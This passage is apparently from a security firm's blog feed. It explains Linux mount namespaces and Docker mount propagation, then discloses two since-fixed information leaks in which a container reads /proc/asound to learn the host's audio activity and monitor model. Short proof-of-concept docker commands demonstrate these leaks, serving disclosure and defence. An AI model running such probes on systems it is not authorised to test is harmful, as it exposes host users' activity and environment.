href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">User&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Block&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">I/O&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Memory,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">CPU,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Freezer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Device&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;h2 id="mount-namespaces">Mount Namespaces&lt;/h2>
&lt;p>This namespace type was the first to be added to the Linux kernel &lt;code>2.4.19&lt;/code> in 2002 [1]. The goal of mount namespaces is to restrict the view of the global file hierarchy by providing each namespace with its own set of mount points.&lt;/p>
&lt;p>A newly created namespace initially uses a copy of the parent&amp;rsquo;s mount tree. To add and remove mount points, the &lt;code>mount&lt;/code> and &lt;code>umount&lt;/code> commands are available. The implementation of these commands had to be modified in order to be aware of namespaces and work in combination with mount namespaces.&lt;/p>
&lt;p>The initial implementation of mount namespaces caused a usability issue that ultimately reduced the efficiency of these namespaces: To make a device available for all or a subset of all namespaces it was required to execute one &lt;code>mount&lt;/code> operation for each namespace. However, the optimal approach would require only a single mount operation to perform the same task. Additionally, a solution to manage mountpoints in all namespaces at once would provide more convenience. For these reasons, &lt;em>shared sub-trees&lt;/em> have been introduced[2].&lt;/p>
&lt;p>The basic idea of shared sub-trees is that a &lt;em>propagation type&lt;/em> is associated with each mount point. This configures how each &lt;code>mount&lt;/code> operation within a mount point will be propagated to other related mount points. Internally the kernel uses &lt;em>peer groups&lt;/em> in order to determine whether a &lt;code>mount&lt;/code> event gets propagated to a specific mount point. A peer group consists of a set of mount points that share mount events with each other. Mount points get added to a peer group in case the specific &lt;em>shared&lt;/em> mount point is being replicated by joining a new mount namespace or when bind-mounting a mount point. Peer group members are being removed in case an unmount operation is being issued or as soon as a mount namespace gets destroyed.&lt;/p>
&lt;p>The following propagation types are available:&lt;/p>
&lt;ul>
&lt;li>&lt;code>MS_SHARED&lt;/code>: This shares the mount with all mount points residing in the same peer group. Mount operations on a peer&amp;rsquo;s mount will also be propagated to the original mount.&lt;/li>
&lt;li>&lt;code>MS_PRIVATE&lt;/code>: No mount events are being propagated and no events are being received. Other mount namespaces will not be able to access the mount point.&lt;/li>
&lt;li>&lt;code>MS_SLAVE&lt;/code>: Mounts of this type only receive events. They do not share events and effectively provide private mounts for mounts created using this propagation type.&lt;/li>
&lt;li>&lt;code>MS_UNBINDABLE&lt;/code>: This type is similar to the private type with an addition: Mounts of this type can not be used to create bind mounts. An example usage of this type can be found below.&lt;/li>
&lt;/ul>
&lt;p>The types can be prefixed with an &lt;code>r&lt;/code> to make its effect recursive for all child mounts of a mount point.&lt;/p>
&lt;p>Consider the following scenario [1]: Two users, namely Alice and Bob, are sharing parts of the same file hierarchy and are being placed in their own mount namespaces. They are then being provided with their own view of the system directories. To perform this task, the system&amp;rsquo;s directories have been bind-mounted into the user specific directories of the sub-tree, as shown on the left figure [1] below. Note that the folders of Alice and Bob are replicated in the bind-mounted sub-tree directories which is not desired.&lt;/p>
&lt;figure
style="width: 600px;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-bm_hua1298d29e44609b35e8dc797fe5783f7_6976_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-bm_hua1298d29e44609b35e8dc797fe5783f7_6976_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-bm_hua1298d29e44609b35e8dc797fe5783f7_6976_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-bm.png"
width="491"
height="189"
alt="[1]"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
[1]&lt;/figcaption>
&lt;/figure>
&lt;p>By using the &lt;code>MS_UNBINDABLE&lt;/code> flag this is prevented, effectively creating the hierarchy as can bee seen on the second figure below[1]:&lt;/p>
&lt;figure
style="width: 550px;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-ub_hu34015dbef316960013ea414bc5f9924b_5357_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-ub_hu34015dbef316960013ea414bc5f9924b_5357_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-ub_hu34015dbef316960013ea414bc5f9924b_5357_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-ub.png"
width="422"
height="149"
alt="[4]"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
[4]&lt;/figcaption>
&lt;/figure>
&lt;p>To make use of the advantages provided by shared sub-trees, a &lt;code>mount&lt;/code> now has to be shared with both users. As can be seen on the first figure below, a data medium was inserted. However, it&amp;rsquo;s only present outside of the mount namespaces of Alice and Bob.&lt;/p>
&lt;figure
style="width: 700px;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-mnt_hu1534e7df99b60ccc2ffed55b82b1167a_6056_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-mnt_hu1534e7df99b60ccc2ffed55b82b1167a_6056_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-mnt_hu1534e7df99b60ccc2ffed55b82b1167a_6056_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-mnt.png"
width="548"
height="149"
alt="[2]"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
[2]&lt;/figcaption>
&lt;/figure>
&lt;p>By executing a &lt;code>mount&lt;/code> command with the &lt;code>--make-shared&lt;/code> flag, the mount of the data medium is now also present in the mount namespaces of both users:&lt;/p>
&lt;figure
style="width: 700px;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-mnt-share_hub58ceb194ae324904e38dcc0c8c4a66d_7523_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-mnt-share_hub58ceb194ae324904e38dcc0c8c4a66d_7523_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-mnt-share_hub58ceb194ae324904e38dcc0c8c4a66d_7523_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/subtrees-mnt-share.png"
width="548"
height="189"
alt="[3]"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
[3]&lt;/figcaption>
&lt;/figure>
&lt;p>Moreover, every mount operation executed in the &lt;code>/mnt&lt;/code> directory will now automatically be propagated to the mount namespaces of Alice and Bob.&lt;/p>
&lt;p>This approach also enables Alice and Bob to have private mounts that are not being shared with other users. This can be achieved by either making the sub-tree mounts of the users &lt;code>slaves&lt;/code> or by creating private mounts inside of the respective user directories.&lt;/p>
&lt;p>The mount points available for a specific process of a namespace can be found along with their propagation types in the &lt;code>/proc/self/mountinfo&lt;/code> file.&lt;/p>
&lt;p>By default Docker uses the private propagation type when mounting directories with the &lt;code>-v&lt;/code> parameter. This can be verified by examining the output of &lt;code>docker inspect &amp;lt;Containername&amp;gt;&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-json" data-lang="json">[&lt;span style="color:#a61717;background-color:#e3d2d2">...&lt;/span>]
&lt;span style="color:#ed9d13">&amp;#34;Mounts&amp;#34;&lt;/span>&lt;span style="color:#a61717;background-color:#e3d2d2">:&lt;/span> [
{
&lt;span style="color:#6ab825;font-weight:bold">&amp;#34;Type&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;bind&amp;#34;&lt;/span>,
&lt;span style="color:#6ab825;font-weight:bold">&amp;#34;Source&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;/tmp/test&amp;#34;&lt;/span>,
&lt;span style="color:#6ab825;font-weight:bold">&amp;#34;Destination&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;/tmp/test&amp;#34;&lt;/span>,
&lt;span style="color:#6ab825;font-weight:bold">&amp;#34;Mode&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>,
&lt;span style="color:#6ab825;font-weight:bold">&amp;#34;RW&amp;#34;&lt;/span>: &lt;span style="color:#6ab825;font-weight:bold">true&lt;/span>,
&lt;span style="color:#6ab825;font-weight:bold">&amp;#34;Propagation&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;rprivate&amp;#34;&lt;/span>
}
]&lt;span style="color:#a61717;background-color:#e3d2d2">,&lt;/span>
[&lt;span style="color:#a61717;background-color:#e3d2d2">...&lt;/span>]
&lt;/code>&lt;/pre>&lt;/div>&lt;p>This isolates the mount points of both the host and a container and no mount events are being propagated between a container and the host. Therefore mount points present on the host are not available for containerized processes and the other way around because separate mount namespaces are in place.&lt;/p>
&lt;p>Consider sharing a host directory with a container after starting an initial process in it: In this scenario mounting takes place across two mount namespaces - the host namespace and the respective container namespace. The &lt;code>nsenter&lt;/code> utility assists when performing this task by using &lt;code>setns&lt;/code> to join the container&amp;rsquo;s mount namespace in order to allow creating mount points in the container. Because the capabilities in the host&amp;rsquo;s mount namespace are being preserved, a folder governed by the host can therefore be mounted into the container, effectively sharing it between the host and the container.&lt;/p>
&lt;p>For containers, host paths can also be masked to provide each container with its own version of a specific folder. For example by masking the &lt;code>/proc/acpi&lt;/code> it&amp;rsquo;s not possible for a containerized process to enable host interfaces like the Bluetooth device. Issues can be present in case no proper masking is taken into account [3]. The Docker platform automatically masks certain paths under &lt;code>/proc&lt;/code> and &lt;code>/sys&lt;/code> to counter these potential issues.&lt;/p>
&lt;h3 id="discovering-an-information-leak-in-docker">Discovering an Information Leak in Docker&lt;/h3>
&lt;p>During an assessment of the Docker platform, two information leaks regarding the &lt;code>/proc/asound&lt;/code> path were discovered in the associated OCI container specification:&lt;/p>
&lt;h4 id="leak-of-audio-device-status-of-the-host">Leak of audio device status of the host&lt;/h4>
&lt;p>When media is being played on the host, the &lt;code>/proc/asound/card*/pcm*p/sub*/status&lt;/code> files may contain information regarding the status of media playback. Consider this command for a demonstration:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">docker run --rm &lt;span style="color:#ed9d13">\
&lt;/span>&lt;span style="color:#ed9d13">&lt;/span> ubuntu:latest bash -c &lt;span style="color:#ed9d13">\
&lt;/span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;sleep 5; \
&lt;/span>&lt;span style="color:#ed9d13"> cat /proc/asound/card*/pcm*p/sub*/status | \
&lt;/span>&lt;span style="color:#ed9d13"> grep state | \
&lt;/span>&lt;span style="color:#ed9d13"> cut -d &amp;#39; &amp;#39; -f2 | \
&lt;/span>&lt;span style="color:#ed9d13"> grep RUNNING || echo &amp;#39;not running&amp;#39;&amp;#34;&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>When playing a media file, watching a video or executing similar actions involving sound output on the host, the command above demonstrates that a containerized process is able to gather information on this status. Therefore a process in a container is able to check whether and what kind of user activity is present on the host system. Also, this may indicate whether a container runs on a desktop system or a server as media playback rarely happens on server systems.&lt;/p>
&lt;p>The scenario described above is in regard to media playback. Moreover, when examining the &lt;code>/proc/asound/card*/pcm*c/sub*/status&lt;/code> files (&lt;code>pcm*c&lt;/code> instead of &lt;code>pcm*p&lt;/code>) this can also leak information regarding capturing sound, as in recording audio or making calls on the host system.&lt;/p>
&lt;h4 id="leak-of-monitor-type">Leak of Monitor Type&lt;/h4>
&lt;p>Monitors can also act as sound output devices when connected using a compatible interface like DisplayPort. The listing below illustrates how the model type of the connected monitors can be read from within a container:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">docker run --rm &lt;span style="color:#ed9d13">\
&lt;/span>&lt;span style="color:#ed9d13">&lt;/span> ubuntu:latest bash -c &lt;span style="color:#ed9d13">\
&lt;/span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;cat /proc/asound/card*/eld* | \
&lt;/span>&lt;span style="color:#ed9d13"> grep monitor_name&amp;#34;&lt;/span>
monitor_name SMS24A650 &lt;span style="color:#999;font-style:italic"># (A Samsung monitor)&lt;/span>
monitor_name SMS24A650
&lt;/code>&lt;/pre>&lt;/div>&lt;p>This information should not be accessible from within a container as it contains specific information on the host and its environment.&lt;/p>
&lt;p>These issues have been reported [4] to the Docker maintainers and are now fixed in the upstream version by adding &lt;code>/proc/asound&lt;/code> to the list of paths that are being masked to make each container manage its own versions of the affected paths. This path list is part of the OCI specification - therefore the fix for these issues also propagates to &lt;code>containerd&lt;/code> which also uses the OCI specification.&lt;/p>
&lt;h2 id="next-post-in-series">Next post in series&lt;/h2>
&lt;ul>
&lt;li>Continue reading the next article in this series &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">PID&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul>
&lt;p>Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date&lt;/p>
&lt;h2 id="references--credits">References / Credits&lt;/h2>
&lt;p>&lt;em>Credits: The elaboration and software project associated to this subject are results of a Master&amp;rsquo;s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.&lt;/em>&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://lwn.net/Articles/689856/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">1&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/689856/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/689856/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Mount&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/689856/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">namespaces&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/689856/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/689856/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">shared&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/689856/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">subtrees&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://lwn.net/Articles/159077/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/159077/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/159077/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Shared&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/159077/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">subtrees&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/moby/moby/pull/37404"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">3&lt;/span>
&lt;/a>&lt;a
href="https://github.com/moby/moby/pull/37404"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://github.com/moby/moby/pull/37404"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Moby&lt;/span>
&lt;/a>&lt;a
href="https://github.com/moby/moby/pull/37404"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Pull&lt;/span>
&lt;/a>&lt;a
href="https://github.com/moby/moby/pull/37404"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Request&lt;/span>
&lt;/a>&lt;a
href="https://github.com/moby/moby/pull/37404"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">#37404&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/moby/moby/issues/38285"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">4&lt;/span>
&lt;/a>&lt;a
href="https://github.com/moby/moby/issues/38285"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://github.com/moby/moby/issues/38285"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Minor&lt;/span>
&lt;/a>&lt;a
href="https://github.com/moby/moby/issues/38285"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Information&lt;/span>
&lt;/a>&lt;a
href="https://github.com/moby/moby/issues/38285"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Leaks&lt;/span>
&lt;/a>&lt;a
href="https://github.com/moby/moby/issues/38285"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://github.com/moby/moby/issues/38285"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">/proc/asound&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/de-de/foto/bunt-business-container-einfuhren-163726/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Title&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/de-de/foto/bunt-business-container-einfuhren-163726/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Image&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>AzureGenerat0r</title><link>https://www.schutzwerk.com/en/blog/azuregenerat0r/</link><author>Johannes Ziegler</author><pubDate>Thu, 19 Mar 2020 15:56:10 +0100</pubDate><category>toolrelease</category><category>cloud</category><description>
&lt;p>Hands-on practice is an efficient way for penetration testers to gain in-depth knowledge of a certain skill or technology. Providing hands-on practice
requires setting up an environment for test and training purposes. Setting up
a test environment manually can be time-consuming and very frustrating. This is
caused by long installation processes and configuration procedures. Besides that,
setting up big test environments can be expensive due to the necessary
infrastructure or computational power. &lt;br>
Developing a solution based on local virtualization is possible, but is still
limited to local resources. Instead, this problem can be solved using cloud computing.&lt;/p>
&lt;h2 id="introducing-the-azuregenerat0r">Introducing the AzureGenerat0r&lt;/h2>
&lt;p>AzureGenerat0r is a framework that combines infrastructure as code with configuration
management. It uses &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.terraform.io/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Terraform&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to create infrastructure such as virtual machines, subnets,
NICs, or routes in Microsoft Azure and modular &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.ansible.com/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
